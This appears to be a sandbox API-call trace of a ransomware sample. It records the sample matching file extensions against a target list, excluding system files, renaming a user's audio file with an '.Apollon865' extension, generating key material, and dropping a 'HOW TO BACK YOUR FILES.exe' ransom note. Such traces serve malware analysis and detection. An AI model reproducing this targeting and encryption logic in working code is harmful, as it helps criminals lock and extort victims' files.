	[0088.436] lstrlenW (lpString="ib") returned 2
	[0088.436] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1
	[0088.436] lstrlenW (lpString="idb") returned 3
	[0088.436] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1
	[0088.436] lstrlenW (lpString="ihx") returned 3
	[0088.436] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1
	[0088.436] lstrlenW (lpString="itdb") returned 4
	[0088.436] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1
	[0088.436] lstrlenW (lpString="itw") returned 3
	[0088.436] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1
	[0088.436] lstrlenW (lpString="jet") returned 3
	[0088.436] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1
	[0088.436] lstrlenW (lpString="jtx") returned 3
	[0088.436] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1
	[0088.436] lstrlenW (lpString="kdb") returned 3
	[0088.436] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1
	[0088.436] lstrlenW (lpString="kexi") returned 4
	[0088.436] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1
	[0088.436] lstrlenW (lpString="kexic") returned 5
	[0088.436] lstrcmpiW (lpString1="G.mp3", lpString2="kexic") returned -1
	[0088.436] lstrlenW (lpString="kexis") returned 5
	[0088.436] lstrcmpiW (lpString1="G.mp3", lpString2="kexis") returned -1
	[0088.436] lstrlenW (lpString="lgc") returned 3
	[0088.436] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1
	[0088.436] lstrlenW (lpString="lwx") returned 3
	[0088.436] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1
	[0088.436] lstrlenW (lpString="maf") returned 3
	[0088.436] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1
	[0088.436] lstrlenW (lpString="maq") returned 3
	[0088.436] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1
	[0088.436] lstrlenW (lpString="mar") returned 3
	[0088.436] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1
	[0088.436] lstrlenW (lpString="marshal") returned 7
	[0088.436] lstrcmpiW (lpString1="xqG.mp3", lpString2="marshal") returned 1
	[0088.436] lstrlenW (lpString="mas") returned 3
	[0088.437] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1
	[0088.437] lstrlenW (lpString="mav") returned 3
	[0088.437] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1
	[0088.437] lstrlenW (lpString="maw") returned 3
	[0088.437] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1
	[0088.437] lstrlenW (lpString="mdbhtml") returned 7
	[0088.437] lstrcmpiW (lpString1="xqG.mp3", lpString2="mdbhtml") returned 1
	[0088.437] lstrlenW (lpString="mdn") returned 3
	[0088.437] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1
	[0088.437] lstrlenW (lpString="mdt") returned 3
	[0088.437] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1
	[0088.437] lstrlenW (lpString="mfd") returned 3
	[0088.437] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1
	[0088.437] lstrlenW (lpString="mpd") returned 3
	[0088.437] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1
	[0088.437] lstrlenW (lpString="mrg") returned 3
	[0088.437] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1
	[0088.437] lstrlenW (lpString="mud") returned 3
	[0088.437] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1
	[0088.437] lstrlenW (lpString="mwb") returned 3
	[0088.437] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1
	[0088.437] lstrlenW (lpString="myd") returned 3
	[0088.437] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1
	[0088.437] lstrlenW (lpString="ndf") returned 3
	[0088.437] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1
	[0088.437] lstrlenW (lpString="nnt") returned 3
	[0088.437] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1
	[0088.437] lstrlenW (lpString="nrmlib") returned 6
	[0088.437] lstrcmpiW (lpString1="qG.mp3", lpString2="nrmlib") returned 1
	[0088.437] lstrlenW (lpString="ns2") returned 3
	[0088.437] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1
	[0088.437] lstrlenW (lpString="ns3") returned 3
	[0088.437] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1
	[0088.437] lstrlenW (lpString="ns4") returned 3
	[0088.437] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1
	[0088.437] lstrlenW (lpString="nsf") returned 3
	[0088.437] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1
	[0088.437] lstrlenW (lpString="nv") returned 2
	[0088.438] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1
	[0088.438] lstrlenW (lpString="nv2") returned 3
	[0088.438] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1
	[0088.438] lstrlenW (lpString="nwdb") returned 4
	[0088.438] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1
	[0088.438] lstrlenW (lpString="nyf") returned 3
	[0088.438] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1
	[0088.438] lstrlenW (lpString="odb") returned 3
	[0088.438] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0088.438] lstrlenW (lpString="odb") returned 3
	[0088.438] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0088.438] lstrlenW (lpString="oqy") returned 3
	[0088.438] lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1
	[0088.438] lstrlenW (lpString="ora") returned 3
	[0088.438] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1
	[0088.438] lstrlenW (lpString="orx") returned 3
	[0088.438] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1
	[0088.438] lstrlenW (lpString="owc") returned 3
	[0088.438] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1
	[0088.438] lstrlenW (lpString="p96") returned 3
	[0088.438] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1
	[0088.438] lstrlenW (lpString="p97") returned 3
	[0088.438] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1
	[0088.438] lstrlenW (lpString="pan") returned 3
	[0088.438] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1
	[0088.438] lstrlenW (lpString="pdb") returned 3
	[0088.438] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1
	[0088.438] lstrlenW (lpString="pdm") returned 3
	[0088.438] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1
	[0088.438] lstrlenW (lpString="pnz") returned 3
	[0088.438] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1
	[0088.438] lstrlenW (lpString="qry") returned 3
	[0088.438] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1
	[0088.439] lstrlenW (lpString="qvd") returned 3
	[0088.439] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1
	[0088.439] lstrlenW (lpString="rbf") returned 3
	[0088.439] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1
	[0088.439] lstrlenW (lpString="rctd") returned 4
	[0088.439] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1
	[0088.439] lstrlenW (lpString="rod") returned 3
	[0088.439] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1
	[0088.439] lstrlenW (lpString="rodx") returned 4
	[0088.439] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1
	[0088.439] lstrlenW (lpString="rpd") returned 3
	[0088.439] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1
	[0088.439] lstrlenW (lpString="rsd") returned 3
	[0088.439] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1
	[0088.439] lstrlenW (lpString="sas7bdat") returned 8
	[0088.439] lstrcmpiW (lpString1="AxqG.mp3", lpString2="sas7bdat") returned -1
	[0088.439] lstrlenW (lpString="sbf") returned 3
	[0088.439] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1
	[0088.439] lstrlenW (lpString="scx") returned 3
	[0088.439] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1
	[0088.439] lstrlenW (lpString="sdb") returned 3
	[0088.439] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1
	[0088.439] lstrlenW (lpString="sdc") returned 3
	[0088.439] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1
	[0088.439] lstrlenW (lpString="sdf") returned 3
	[0088.439] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1
	[0088.439] lstrlenW (lpString="sis") returned 3
	[0088.439] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1
	[0088.439] lstrlenW (lpString="spq") returned 3
	[0088.439] lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1
	[0088.439] lstrlenW (lpString="te") returned 2
	[0088.440] lstrcmpiW (lpString1="p3", lpString2="te") returned -1
	[0088.440] lstrlenW (lpString="teacher") returned 7
	[0088.440] lstrcmpiW (lpString1="xqG.mp3", lpString2="teacher") returned 1
	[0088.440] lstrlenW (lpString="tmd") returned 3
	[0088.440] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1
	[0088.440] lstrlenW (lpString="tps") returned 3
	[0088.440] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1
	[0088.440] lstrlenW (lpString="trc") returned 3
	[0088.440] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0088.440] lstrlenW (lpString="trc") returned 3
	[0088.440] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0088.440] lstrlenW (lpString="trm") returned 3
	[0088.440] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1
	[0088.440] lstrlenW (lpString="udb") returned 3
	[0088.440] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1
	[0088.440] lstrlenW (lpString="udl") returned 3
	[0088.440] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1
	[0088.440] lstrlenW (lpString="usr") returned 3
	[0088.440] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1
	[0088.440] lstrlenW (lpString="v12") returned 3
	[0088.440] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1
	[0088.440] lstrlenW (lpString="vis") returned 3
	[0088.440] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1
	[0088.440] lstrlenW (lpString="vpd") returned 3
	[0088.440] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1
	[0088.440] lstrlenW (lpString="vvv") returned 3
	[0088.440] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1
	[0088.440] lstrlenW (lpString="wdb") returned 3
	[0088.440] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1
	[0088.440] lstrlenW (lpString="wmdb") returned 4
	[0088.440] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1
	[0088.440] lstrlenW (lpString="wrk") returned 3
	[0088.440] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1
	[0088.440] lstrlenW (lpString="xdb") returned 3
	[0088.440] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1
	[0088.440] lstrlenW (lpString="xld") returned 3
	[0088.440] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1
	[0088.440] lstrlenW (lpString="xmlff") returned 5
	[0088.441] lstrcmpiW (lpString1="G.mp3", lpString2="xmlff") returned -1
	[0088.441] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP\\qXDoO4RsMr3l-AxqG.mp3.Apollon865") returned 97
	[0088.441] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP\\qXDoO4RsMr3l-AxqG.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\4mojk9ttsmsvcmn1hp\\qxdoo4rsmr3l-axqg.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP\\qXDoO4RsMr3l-AxqG.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\4mojk9ttsmsvcmn1hp\\qxdoo4rsmr3l-axqg.mp3.apollon865"), dwFlags=0x1) returned 1
	[0088.442] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP\\qXDoO4RsMr3l-AxqG.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\4mojk9ttsmsvcmn1hp\\qxdoo4rsmr3l-axqg.mp3.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.442] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=6292) returned 1
	[0088.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.443] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.443] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.443] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.443] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ba0, lpName=0x0) returned 0x15c
	[0088.444] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ba0) returned 0x100000
	[0088.444] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.445] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.445] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.445] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.445] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0088.445] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.445] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0088.445] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.445] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.445] CloseHandle (hObject=0x15c) returned 1
	[0088.445] CloseHandle (hObject=0x9c) returned 1
	[0088.447] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.447] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.447] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.447] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d5080, ftCreationTime.dwHighDateTime=0x1d4d44a, ftLastAccessTime.dwLowDateTime=0xcbb2a950, ftLastAccessTime.dwHighDateTime=0x1d4d49b, ftLastWriteTime.dwLowDateTime=0xcbb2a950, ftLastWriteTime.dwHighDateTime=0x1d4d49b, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qXDoO4RsMr3l-AxqG.mp3", cAlternateFileName="QXDOO4~1.MP3")) returned 0
	[0088.447] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0088.447] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b70
	[0088.447] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU"
	[0088.447] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0088.447] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0088.447] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU") returned 41
	[0088.447] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU"
	[0088.447] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0088.447] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ulhwu\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0088.448] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0088.448] GetLastError () returned 0x0
	[0088.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0088.448] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0088.448] CloseHandle (hObject=0x10c) returned 1
	[0088.448] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0088.448] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0088.448] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93e28b0, ftCreationTime.dwHighDateTime=0x1d4c62f, ftLastAccessTime.dwLowDateTime=0x303c2830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x303c2830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0088.449] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.449] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0088.449] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0088.449] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93e28b0, ftCreationTime.dwHighDateTime=0x1d4c62f, ftLastAccessTime.dwLowDateTime=0x303c2830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x303c2830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.449] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.449] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0088.449] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0088.449] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0088.449] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x303c2830, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x303c2830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0088.449] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0088.449] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee0026e0, ftCreationTime.dwHighDateTime=0x1d4d077, ftLastAccessTime.dwLowDateTime=0x13a06e70, ftLastAccessTime.dwHighDateTime=0x1d4cb8f, ftLastWriteTime.dwLowDateTime=0x13a06e70, ftLastWriteTime.dwHighDateTime=0x1d4cb8f, nFileSizeHigh=0x0, nFileSizeLow=0x5e76, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sUzb8huip-1s.wav", cAlternateFileName="SUZB8H~1.WAV")) returned 1
	[0088.449] lstrcmpiW (lpString1="sUzb8huip-1s.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.449] lstrcmpiW (lpString1="sUzb8huip-1s.wav", lpString2="Apollon865.txt.exe") returned 1
	[0088.449] lstrcmpiW (lpString1="sUzb8huip-1s.wav", lpString2=".") returned 1
	[0088.449] lstrcmpiW (lpString1="sUzb8huip-1s.wav", lpString2="..") returned 1
	[0088.449] lstrcmpiW (lpString1="sUzb8huip-1s.wav", lpString2="windows") returned -1
	[0088.449] lstrcmpiW (lpString1="sUzb8huip-1s.wav", lpString2="bootmgr") returned 1
	[0088.449] lstrcmpiW (lpString1="sUzb8huip-1s.wav", lpString2="temp") returned -1
	[0088.449] lstrcmpiW (lpString1="sUzb8huip-1s.wav", lpString2="pagefile.sys") returned 1
	[0088.449] lstrcmpiW (lpString1="sUzb8huip-1s.wav", lpString2="boot") returned 1
	[0088.449] lstrcmpiW (lpString1="sUzb8huip-1s.wav", lpString2="ids.txt") returned 1
	[0088.449] lstrcmpiW (lpString1="sUzb8huip-1s.wav", lpString2="ntuser.dat") returned 1
	[0088.449] lstrcmpiW (lpString1="sUzb8huip-1s.wav", lpString2="perflogs") returned 1
	[0088.449] lstrcmpiW (lpString1="sUzb8huip-1s.wav", lpString2="MSBuild") returned 1
	[0088.449] lstrlenW (lpString="sUzb8huip-1s.wav") returned 16
	[0088.449] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU\\*") returned 43
	[0088.449] lstrcpyW (in: lpString1=0x119e65c, lpString2="sUzb8huip-1s.wav" | out: lpString1="sUzb8huip-1s.wav") returned="sUzb8huip-1s.wav"
	[0088.449] lstrlenW (lpString="sUzb8huip-1s.wav") returned 16
	[0088.449] lstrlenW (lpString="Apollon865") returned 10
	[0088.449] lstrcmpiW (lpString1="uip-1s.wav", lpString2="Apollon865") returned 1
	[0088.449] lstrlenW (lpString=".dll") returned 4
	[0088.449] lstrcmpiW (lpString1="sUzb8huip-1s.wav", lpString2=".dll") returned 1
	[0088.449] lstrlenW (lpString=".lnk") returned 4
	[0088.450] lstrcmpiW (lpString1="sUzb8huip-1s.wav", lpString2=".lnk") returned 1
	[0088.450] lstrlenW (lpString=".ini") returned 4
	[0088.450] lstrcmpiW (lpString1="sUzb8huip-1s.wav", lpString2=".ini") returned 1
	[0088.450] lstrlenW (lpString=".sys") returned 4
	[0088.450] lstrcmpiW (lpString1="sUzb8huip-1s.wav", lpString2=".sys") returned 1
	[0088.450] lstrlenW (lpString="sUzb8huip-1s.wav") returned 16
	[0088.450] lstrlenW (lpString="bak") returned 3
	[0088.450] lstrcmpiW (lpString1="wav", lpString2="bak") returned 1
	[0088.450] lstrlenW (lpString="ba_") returned 3
	[0088.450] lstrcmpiW (lpString1="wav", lpString2="ba_") returned 1
	[0088.450] lstrlenW (lpString="dbb") returned 3
	[0088.450] lstrcmpiW (lpString1="wav", lpString2="dbb") returned 1
	[0088.450] lstrlenW (lpString="vmdk") returned 4
	[0088.450] lstrcmpiW (lpString1=".wav", lpString2="vmdk") returned -1
	[0088.450] lstrlenW (lpString="rar") returned 3
	[0088.450] lstrcmpiW (lpString1="wav", lpString2="rar") returned 1
	[0088.450] lstrlenW (lpString="zip") returned 3
	[0088.450] lstrcmpiW (lpString1="wav", lpString2="zip") returned -1
	[0088.450] lstrlenW (lpString="tgz") returned 3
	[0088.450] lstrcmpiW (lpString1="wav", lpString2="tgz") returned 1
	[0088.450] lstrlenW (lpString="vbox") returned 4
	[0088.450] lstrcmpiW (lpString1=".wav", lpString2="vbox") returned -1
	[0088.450] lstrlenW (lpString="vdi") returned 3
	[0088.450] lstrcmpiW (lpString1="wav", lpString2="vdi") returned 1
	[0088.450] lstrlenW (lpString="vhd") returned 3
	[0088.450] lstrcmpiW (lpString1="wav", lpString2="vhd") returned 1
	[0088.450] lstrlenW (lpString="vhdx") returned 4
	[0088.450] lstrcmpiW (lpString1=".wav", lpString2="vhdx") returned -1
	[0088.450] lstrlenW (lpString="avhd") returned 4
	[0088.450] lstrcmpiW (lpString1=".wav", lpString2="avhd") returned -1
	[0088.450] lstrlenW (lpString="db") returned 2
	[0088.450] lstrcmpiW (lpString1="av", lpString2="db") returned -1
	[0088.450] lstrlenW (lpString="db2") returned 3
	[0088.450] lstrcmpiW (lpString1="wav", lpString2="db2") returned 1
	[0088.450] lstrlenW (lpString="db3") returned 3
	[0088.450] lstrcmpiW (lpString1="wav", lpString2="db3") returned 1
	[0088.450] lstrlenW (lpString="dbf") returned 3
	[0088.451] lstrcmpiW (lpString1="wav", lpString2="dbf") returned 1
	[0088.451] lstrlenW (lpString="mdf") returned 3
	[0088.451] lstrcmpiW (lpString1="wav", lpString2="mdf") returned 1
	[0088.451] lstrlenW (lpString="mdb") returned 3
	[0088.451] lstrcmpiW (lpString1="wav", lpString2="mdb") returned 1
	[0088.451] lstrlenW (lpString="sql") returned 3
	[0088.451] lstrcmpiW (lpString1="wav", lpString2="sql") returned 1
	[0088.451] lstrlenW (lpString="sqlite") returned 6
	[0088.451] lstrcmpiW (lpString1="1s.wav", lpString2="sqlite") returned -1
	[0088.451] lstrlenW (lpString="sqlite3") returned 7
	[0088.451] lstrcmpiW (lpString1="-1s.wav", lpString2="sqlite3") returned -1
	[0088.451] lstrlenW (lpString="sqlitedb") returned 8
	[0088.451] lstrcmpiW (lpString1="p-1s.wav", lpString2="sqlitedb") returned -1
	[0088.451] lstrlenW (lpString="xml") returned 3
	[0088.451] lstrcmpiW (lpString1="wav", lpString2="xml") returned -1
	[0088.451] lstrlenW (lpString="$er") returned 3
	[0088.451] lstrcmpiW (lpString1="wav", lpString2="$er") returned 1
	[0088.451] lstrlenW (lpString="4dd") returned 3
	[0088.451] lstrcmpiW (lpString1="wav", lpString2="4dd") returned 1
	[0088.451] lstrlenW (lpString="4dl") returned 3
	[0088.451] lstrcmpiW (lpString1="wav", lpString2="4dl") returned 1
	[0088.451] lstrlenW (lpString="^^^") returned 3
